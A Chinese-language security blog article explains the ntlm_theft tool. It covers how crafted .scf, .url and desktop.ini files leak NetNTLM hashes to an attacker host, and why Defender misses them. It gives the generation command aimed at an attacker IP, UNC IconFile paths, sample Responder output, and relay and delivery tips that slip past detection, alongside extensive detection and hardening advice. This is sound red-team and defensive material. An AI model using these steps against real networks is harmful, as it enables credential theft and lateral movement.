我们做红队和蓝队对抗的这两年明显有个感受单纯扔一个带宏的Office文档或者钓鱼链接出去已经越来越不好使了。EDR和Defender这类东西对宏病毒、PowerShell混淆、白加黑DLL的查杀模型已经很成熟。但有一类工具比如ntlm_theft利用了Windows系统本身的“信任”机制生成的文件不是传统意义上的恶意软件却能拿到内网里的NTLM哈希NetNTLMv1/v2而且大概率能穿透Defender的实时检测。这篇内容不是教你拿它去干坏事。恰恰相反只有亲手复现过这类攻击链你才会真正理解为什么企业内网里的某些“低危告警”最后能变成域管失守也才知道该从哪里下手去补。1. 工具定位与核心设计思路1.1 它到底是什么与传统钓鱼的本质区别ntlm_theft是一个基于Python的开源工具核心用途是批量生成能够“触发NTLM认证请求”的文件。生成的文件类型包括.scf、.url、.lnk、.xml、.svg、. desktop.ini甚至包括带有IMG标签的HTML文档和RTF文件等。传统钓鱼的核心逻辑是“骗取输入”——伪造一个登录页面、诱导用户输入账号密码或者用宏去执行命令、下载木马。而ntlm_theft不是这样它既不弹窗也不要求用户输入密码更不需要用户点击某个“安装”或“提交”按钮。它的逻辑是只要用户用文件管理器浏览一下目录、双击一个链接、甚至只是预览一个图标Windows就会自动向攻击者指定的服务器发起一次带有当前用户凭证的认证请求。这背后是Windows系统内置的“自动认证”机制。比如你访问某个共享文件夹系统会拿当前登录账户的身份去对SMB服务器做身份验证这个过程用户无感知。ntlm_theft做的事情就是把这种“无感知的信任”包装进一个个看起来无比正常的图标文件、网页图片或快捷方式里。如果有机会做内部培训我一般会跟同事说传统钓鱼是“骗你说出密码”NTLM钓鱼是“骗系统替你说出密码”。后者更阴因为用户全程不知道发生了什么。这个区别决定了工具在设计上就站在了传统恶意软件检测模型的对立面——一个静态PE文件需要被查杀一个文本格式的.scf文件该按什么规则去查1.2 为什么只生成文件而不落地实际载荷如果仔细看ntlm_theft生成的这些文件你会有个强烈的感觉它们太“干净”了。用杀毒引擎扫大概率报clean或者只能报“Heuristic/Exp”连“可疑”都算不上。这个干净是有意为之的。工具的作者没有把恶意载荷写进文件而是把“载荷”放在了文件指向的路径上——也就是攻击者控制的服务器地址。当受害者的系统基于这个路径发起认证请求时攻击者在自己的服务器上用Responder或ntlmrelayx这样的工具接收请求抓取NetNTLM哈希。整个过程中受害者的机器上没有写入任何可执行的二进制载荷自然就不存在“恶意代码”的静态特征。深入理解的标志是这个工具生成的是一张“身份令牌的使用凭据”——系统会主动把令牌送出去而不是送进来一颗子弹。传统恶意文件是在系统里做加法写入攻击代码而这类攻击是在系统与外部网络交互时做“引导”触发一次本来就会发生的认证流程。从设计哲学上看ntlm_theft更像一个“触发器”而不是“投放器”。它的目标是在最小噪音的前提下建立一个网络层的身份认证握手通道。文件只是媒介真正起作用的是Windows内置的认证逻辑与网络协议栈。2. NTLM认证机制剖析——攻击成立的根本原因2.1 一次完整的NTLM认证流程要彻底理解ntlm_theft为什么有效得先弄明白NTLM认证是怎么完成的。NTLM是一个基于质询/响应Challenge/Response的认证协议整个过程分三步第一步客户端向服务器发送一个NEGOTIATE_MESSAGE协商消息里面携带客户端支持的NTLM版本、是否支持签名等能力信息。第二步服务器返回一个CHALLENGE_MESSAGE质询消息里面带着一个随机生成的8字节Challenge。第三步客户端用当前用户的密码哈希NT Hash对Challenge进行加密计算生成RESPONSE_MESSAGE响应消息演示给服务器验证。服务器把用户名、Challenge和Response提交给域控域控重复同样的计算比对一致就认证成功。ntlm_theft要的不是认证成功而是拿到第二步之后客户端发过来的RESPONSE_MESSAGE。因为这个响应消息里包含的信息足够攻击者在离线状态下执行暴力破解或者在中继攻击场景里直接伪装成用户访问其他服务。工具把认证请求的流量引导到攻击者自己的机器上攻击者用Responder接收并记录下这些响应哈希。只要用户的密码足够弱比如纯数字、常见单词、Pssw0rd这类被炸出来只是时间问题。即便密码很强攻击者也可以把捕获的NetNTLMv2哈希转发到其他支持NTLM的服务比如SMB、LDAP、HTTP实现对其他系统的认证中继。2.2 生活化类比自动携带的身份证NTLM认证的机制其实可以类比成你进一家管理严格的大楼。你胸前挂着一张工牌当前Windows登录凭证走进大门傍边的刷卡器认证服务器时不需要你主动做任何事——只要系统探测到刷卡器企业自动发送工牌信息协商消息然后用工牌内部的加密芯片算出一个动态码响应消息给刷卡器。如果刷卡器是假的呢你并不知情。系统认为这是正常的门禁点自动响应了。攻击者做的就是在楼道里放一个伪造的刷卡器等“人”来自投罗网。ntlm_theft就是那台装着假刷卡器房间的门牌——伪装得越像正常文件越多人会“走进去”。生活化的理解方式互联网上很多应用是“无意识认证”的尤其是企业内部环境的Windows生态。用户打开资源管理器访问共享文件夹系统会用当前凭据自动认证。访问打印机的Web管理页面系统也可能自动带上凭据。当攻击者能诱导系统发出这样的“自动认证”请求就拿到了一个可以被离线破解或者用于认证中继的加密响应。3. 为什么能绕过Windows Defender检测3.1 静态扫描视角文件本身没有恶意代码Windows Defender的查杀逻辑和大多数AV产品一样分为实时监控、启发式引擎、云查杀、行为监控、漏洞利用防护等多个维度。对于静态文件它扫描的关键要素包括文件内容特征、编译信息、执行入口、代码签名、已知威胁库匹配、启发式/机器学习模型评分。ntlm_theft生成的文件绝大部分是“数据文件”而不是“可执行文件”。以.scf文件为例它的本质是一个ASCII文本配置声明了图标文件的路径、显示名称等。以.url文件为例它本质是Internet快捷方式文本里面写着这个快捷方式指向哪个URL。这些文件既没有可执行代码段、也没调用操作系统API、更不可能建立内存执行区域。Defender对这类文本类文件的静态查杀逻辑更多是做一个“内容有效性”的判断而非深度执行仿真。那这个文件在系统内是正常的图标配置还是恶意数据系统的机器学习模型一般只对“可疑”级别做提示很难直接拦截。实际上这些文件往往被Defender放行。拿我自己在隔离环境里测试的经验用较新版本Defender Defender for Endpoint的默认配置生成的.scf、.url、.desktop.ini、.rtf、.xml在落地瞬间就能扫描出来但不会自动隔离顶多偶尔被拉入“低置信度”队列等待云端分析后才被判可疑。真正触发EDR行为告警是后续Responder抓到NetNTLM哈希并能在内网里中继成功的时刻而这个时刻已经是攻击链跑完一半了。3.2 行为与网络层面请求指向外部服务器即便Defender的行为监控引擎能察觉到异常网络请求它也面对一个先天困境SMB445端口和HTTP80/8080/443端口出站连接到任意IP对Windows系统来说是“合法”的网络行为。尤其在企业内网Windows服务器和办公终端每时每刻都在向文件服务器、打印服务器、域控发起SMB认证。Defender很难仅凭“一次SMB会话请求”判断这是攻击行为除非它有明确的威胁情报映射例如已知的恶意IP/僵尸网络C2。但这里攻击者并不需要多么隐蔽的IP。在内网渗透测试中攻击者控制一台机器在某个IP上监听用Responder等待请求就行。对于EDR来说这跟“有人想访问我们公司的文件共享服务器”之间的区别只是一个陌生IP地址。如果这台机器还做了hosts文件映射或者用NetBIOS名称伪装成常见服务器名如“fileserver”“printserver”那网络层的告警就更难精准命中。10次里有9次最终击穿防御靠的不是0Day漏洞而是系统信任了“本地进程——SMB/HTTP网络请求”这条天然合法的通道。基于这种信任机制的评判标准EDR必须在“放行办公需求”和“拦截一切出站认证”之间二选一。现在几乎所有EDR都默认选择前者。3.3 与常规钓鱼攻击链的对比分析将ntlm_theft攻击链和经典的“宏文档钓鱼”攻击链放在一起对比可以看到两者在恶意代码出现的时点有本质差异。传统宏文档用户打开邮件中的Word文档文档内含恶意VBA宏代码。宏代码运行动态加载PowerShell或JS脚本、下载可执行文件payload、绕过宏安全设置。杀软在“宏代码触发”这一层就能拦截——有恶意代码执行且执行行为高度可疑调用Win32 API、进程注入、计划任务。防御者通过阻断Office宏、限制PowerShell执行策略、限制脚本语言调用来大面积封堵这类攻击。ntlm_theft攻击链用户浏览一个文件夹或预览一个文件系统按.scf/.url文件的指令加载图标/跳转。系统向攻击者指定的UNC路径发起SMB认证请求响应消息NetNTLM哈希到达攻击者监听器。杀软没有任何可执行代码可以拦截唯一判断依据是“一个进程请求访问外部SMB服务器”而这个行为在办公网络里被默认放行。攻击者拿到哈希后离线破解或进行认证中继进而横向移动。对比表维度传统宏文档钓鱼ntlm_theft类攻击恶意代码形态VBA宏、PowerShell脚本无恶意代码仅配置文件/触发器绕过静态扫描难度偏高PE特征的启发式宏行为分析低纯文本无执行内容依赖用户交互高必须点击启用宏低浏览/预览即可触发绕过行为监控难度高恶意执行特征明显中SMB/HTTP出站认证几乎无法判定最终落地载荷恶意可执行文件/RAT无落地载荷只捕获哈希EDR有效检测点宏调用、脚本执行网络层异常认证请求、内部横向移动这个对比强烈说明对“无恶意代码类型”的威胁传统AV/EDR的静态模型存在先天盲区。4. 实操在授权环境复现攻击并分析流量4.1 环境准备与授权声明每当我演示或内部复现这个攻击时都会反复强调“授权和隔离”两个前提。ntlm_theft只能在授权的渗透测试环境、实验网络或有明确书面授权的企业内部评估中使用。请勿对他人系统执行此类操作。一个典型的实验环境包括攻击机Linux假设IP为192.168.1.10运行Responder用于捕获NetNTLM哈希。目标机Windows 10企业版/Windows Server 2019加入或未加入域均可未加入域的本地账户也能捕获NetNTLMv1/v2哈希。一个模拟的共享目录或文件服务器路径实际上攻击机的SMB端口监听。独立的虚拟网段避免实验流量污染生产网络。4.2 快速上手生成与部署在攻击机上执行git clone https://github.com/Greenwolf/ntlm_theft.git cd ntlm_theft python3 ntlm_theft.py -g all -s 192.168.1.10 -f /tmp/out参数说明-g all生成所有支持的文件类型scf、url、lnk、svg、xml、csv、docx等。-s 192.168.1.10攻击机的IP地址生成的所有文件中的UNC路径指向这个IP。-f /tmp/out输出目录。生成完成后/tmp/out下会有一堆文件每个文件名都暗示了触发的依赖路径。这里要记住一个关键点不同文件触发认证的“用户操作步骤”完全不同实际测试时选合适场景最重要。以最经典的两个文件为例.scf文件Shell Command File。scf是Windows资源管理器的配置文件用来定义在文件夹视图中的图标和显示名称。把文件拖到测试Windows机器的任意文件夹比如一个网络共享目录再打开资源管理器浏览到该目录。资源管理器会尝试把.scf文件里IconFile字段指向的路径作为图标加载。如果IconFile写的是攻击机的UNC路径比如\\192.168.1.10\icon系统就会自动向192.168.1.10发起SMB认证请求。触发无需双击浏览即触发这是它最可怕的地方。.url文件Internet快捷方式。url文件本质上是一个文本格式的网页快捷方式写明了目标URL。Windows在解析.url文件的图标时会加载目标URL的favicon.ico如果目标URL指向攻击机的HTTP服务系统同样会向攻击机发起HTTP认证请求。如果受害者浏览器设置为自动登录或使用Windows集成认证还能把Windows身份透传给URL响应的服务器。.desktop.ini这是系统文件夹的自定义配置文件。把自己生成的desktop.ini放到一个文件夹下打开这个文件夹时系统会自动读取图标配置路径同样触发认证。因为它牵扯到“文件夹选项→查看→隐藏受保护的操作系统文件”设置杀伤力虽强但利用条件更苛刻。在Responder监听端正常情况下很快能看到类似这样的哈希条目[] Listening for NTLMv2 hashes... [SMB] NTLMv2-SSP Hash : WORKGROUP\\victim_user:XXXX:1122334455667788abcdef......留意Hash前缀的协议有时候是SMB有时候是HTTP当通过url/HTML触发时。无论哪种本质都是NetNTLMv2响应哈希。4.3 关键步骤剖析流量与过程的对应关系让流量体现攻击逻辑是理解这类攻击的必经之路。我在实验里用Wireshark抓包观察过触发过程打开含有.scf文件的文件夹1~2秒内目标机会向攻击机IP发送一条SMB协商请求SMB2/3 Negotiate攻击机返回SMB会话设置响应Session Setup Response紧接着目标机自动带出当前用户名的NTLM响应。整个过程发生在100~300毫秒内用户甚至看不到网络连接提示。抓包关键点攻击机监听445端口Responder启动时会同时绑定UDP 137/138、TCP 445/139等。目标机在打开文件夹时发出的认证请求一定是SMB协议因为.scf的IconFile走的是\\UNC路径。如果生成的是.url或.svg文件则可能是HTTP协议的认证请求HTTP 401响应后客户端自动回送NTLM Type1消息。我做实验时常被问到的问题是为什么我生成的文件放在本地C盘打开文件夹却没有触发因为Windows资源管理器处理本地文件的图标加载时会尝试解析UNC路径但在本地策略里默认会尝试可某些版本的Windows会把“对本地文件的UNC路径解析”直接交给Shell有些版本又不会。稳妥做法是把.scf文件放置在SMB共享目录或通过网络驱动器打开目录往往能稳定触发。还有个更常用的触发方式把.scf文件放到文件服务器共享目录的根路径然后通知用户“请打开这个文件夹查看素材”用户一旦浏览目录机器就发出认证请求。5. 防御与检测如何提前阻断这类攻击5.1 主机侧检测清单在终端侧通过Sysmon或EDR自定义规则重点监控以下事件进程explorer.exe或dllhost.exe发起对445/139端口的出站SMB连接目标地址不是已知文件服务器IP。进程svchost.exe或rundll32.exe用于.net或COM解析请求外部HTTP URI并伴随NTLM认证。事件文件创建事件中出现.scf/.url/.desktop.ini尤其出现在共享目录、桌面、文档库、网络驱动器根目录。事件任何进程读取网络共享中的.desktop.ini或.scf文件图标属性。登录类型类型3网络登录到未知主机结合账户名与登录时间判断是否为正常业务。若在Defender for Endpoint或Sysmon的日志中看到上述组合事件需要重点追踪。这类攻击的特征是“模式简单但合法性极强”单独一条SMB连接可能被忽略但组合起来就是一条完整攻击链。5.2 网络侧思辨与配置网络侧最大的矛盾在于SMB/HTTP认证是办公网络的基础流量无法整体封禁。替代方案是按“信任边界”做分区把文件服务器、打印服务器、DHCP/DNS服务器单独划分VLAN或子网办公终端访问它们的路径固定。在防火墙上限制“办公终端→非核心服务器”的445/139/80/8080出站策略只放行明确的文件和打印共享IP。启用网络侧DNS Sinkhole对包含攻击者IP的恶意域名解析做拦截针对利用DNS生成UNC路径的变种。在核心交换机镜像端口抓取完整SMB/HTTP流量每天抽样分析“外部IP的NTLM认证请求”是否存在于业务基线之外。实操中最有效的一个策略封禁所有“未纳入已知资产清单的IP”对办公子网发起TCP/445回连请求以及办公子网主动向“非企业白名单IP”发起TCP/445/139的请求。这两条方向一进一出就能阻断大部分NTLM中继和哈希捕获场景。虽然不能说100%安全但Rule成本极低、噪音很小。在我测试过的内网里正常工作站很少主动向任意互联网地址发起445请求。很多组织的大型文件传输和打印任务都基于白名单化IP因此这种规则的误报率极低。5.3 主机基线加固比检测更简单的是直接消灭“无感认证”的信任基础。优先级最高的是禁用LLMNR和NBT-NS。这两个协议是Responder能捕获大量哈希的最大帮手。在组策略里设置“Computer Configuration - Policies - Administrative Templates - Network - DNS Client - Turn off multicast name resolution”为Enabled并在网络适配器属性中取消“Client for Microsoft Networks”的绑定或者直接用组策略禁用TCP/IP上的NetBIOS。启用之后攻击者监听网络大概率只能捕获系统发往“真实不可达地址”的部分请求或者需要更复杂的抢夺条件。优先级第二的是启用“受控文件夹访问Controlled Folder Access”并加入共享目录。例如把财务共享目录、项目文档库加入受控列表非白名单进程访问时会被弹窗拦截。虽然对纯“文件浏览”类触发不一定完全免疫但会增加攻击操作成本。优先级第三的加固点是限制NTLM出站使用NetNTLMv2的同时限制SMB签名。至少开启“SMB签名要求”设置组策略“Microsoft Network Server: Digitally sign communications (always)”为Enabled。这样即便攻击者抓到哈希也无法直接在SMB中继场景中方便地重用响应数据。虽然不阻断捕获但让捕获后的利用难度直线上升。值得强调的另一种加固思路Windows Defender的“攻击面减少ASR规则”可以开启“阻止从Office/浏览器/邮件客户端的进程创建的可执行文件运行”和“阻止滥用利用的易受攻击的驱动程序签名”但ASR并不能精准覆盖“探索.scf文件触发SMB认证”这个场景。关键还是网络层出站策略 协议加固。6. 常见问题与排查技巧实录6.1 实际测试中反复踩过的坑问生成的.scf文件在Windows 10桌面上双击打开为什么不弹任何提示也不触发认证 答桌面目录对不存在的IconFile路径系统会在Shell初始化时读取一次但某些构建版本会忽略无法解析的图标配置。最稳定的触发路径是“通过网络共享目录”如\\服务器IP\共享文件夹\文件名.scf打开。为什么因为当资源管理器解析共享文件夹里的文件图标时必然跨网络进行图标加载尝试这时UNC请求交给SMB协议栈认证动作就自然发生了。问Responder能抓到哈希但用hashcat破解不出明文怎么办 答NetNTLMv2哈希破解速度依赖GPU能力和字典/规则集质量。先试常见字典、年份变形规则不推荐花太多时间硬炸。更高效的思路是抓包后直接尝试中继ntlmrelayx在当前会话权限足够时就地进行横向移动而不是先爆破明文。问Defender有时会跳过或拦截生成后的文件怎么回事 答与“攻击机本地生成”不同当文件被写入到目标共享目录时若目标机的Defender启用了“网络保护”Network Protection和“云交付保护”部分.url文件和.svg文件可能被判为“Web Page / Threat”。因为这类文件很容易被关联到已知恶意域。但.scf和.desktop.ini的检出率仍然很低。规避方法不涉及绕过前首先要做的是“理解触发条件”——若测试场景不需要在共享目录落地可以用邮件附件方式发送很多邮件网关根本不做内容解析。问为什么有时候别人抓到的哈希是NTLMv1而不是v2 答NTLM版本兼容策略由LmCompatibilityLevel组策略决定。如果目标Windows版本较老或策略配置为“发送LM和NTLM响应”则哈希为NTLMv1格式破解速度极快几乎秒破。v2几乎成为现代系统的默认配置但v1仍存在于大量老旧工程机、打印机和嵌入式终端上。扫描环境内的LmCompatibilityLevel设置是内网评估时一个不太起眼但收益显著的环节。6.2 防御端排查一篇速查故障/告警可能原因解决/验证方案检测到explorer.exe向陌生IP发SMB请求可能是.scf/.url/.desktop.ini触发的NTLM认证打开Sysmon EventID 3网络连接排查进程命令行、UNC路径、目标IP查看文件夹是否存在未授权.scf文件EDR告警“可疑NTLM认证”但无文件写入攻击者通过HTTP(S)认证触发如url/svg/html img检查浏览器进程的网络请求、Proxy日志匹配外部IP NTLM认证响应确认是否访问过带恶意IMG标签的网页或.svg附件横向移动时告警密集但源头难以定位攻击者利用responder/ntlmrelayx攻击链启动了中继进程检查目标主机上是否存在“用户访问外部SMB/HTTP”后的关系链结合账户登录时间排查445端口出站源Defender策略放行了.scf文件静态特征维度较低无有效签名通过ASR规则或自定义文件审计在共享目录中对.scf/.url/.desktop.ini按扩展名做写入告警设置文件夹审计捕获的哈希无法破解密码强度高或哈希为v2不硬炸尝试中继到LDAP/SMB进行认证或结合其他信息收集定位高权限账号另开路径6.3 一个值得记录的细节IconFile路径写法很多人在复现ntlm_theft时会忽略IconFile路径除了用IP\\192.168.1.10\share\icon.ico还可以用主机名\\evil-host\share\icon.ico。用主机名时目标机会先发起名称解析可能触发LLMNR/NBT-NS广播攻击者的Responder会响应这个广播并主导认证。这种方式在网络抓包中更隐蔽因为乍看起来只是“一次名称解析 一次SMB连接”攻击者服务器并不需要是真实存在的有真实IP的主机。防御上我建议为名称解析配置严格规则工作站不允许向外部主机发起LLMNR/NBT-NS广播所有名称解析必须走DNS。同时在DNS日志中重点监控那些解析结果包含多个不同IP的记录如“fileserver”被解析成不在企业DNS记录里的IP。这类工具的实战威力不在于它绕过杀软的某一个特征库而在于它把“认证协议”这种东西变成了钓鱼的武器。在授权测试里用一遍你就会对Windows环境的信任模型有新认识。个人觉得自己做红队评估时测试单里应当把“NTLM哈希捕获”列为默认检查项做蓝队防守时网络层出站认证策略、LLMNR禁用、SMB签名这三板斧要优先落地。因为这当中很多“绕过”并非对抗杀软而是对抗“默认配置里的过度信任”。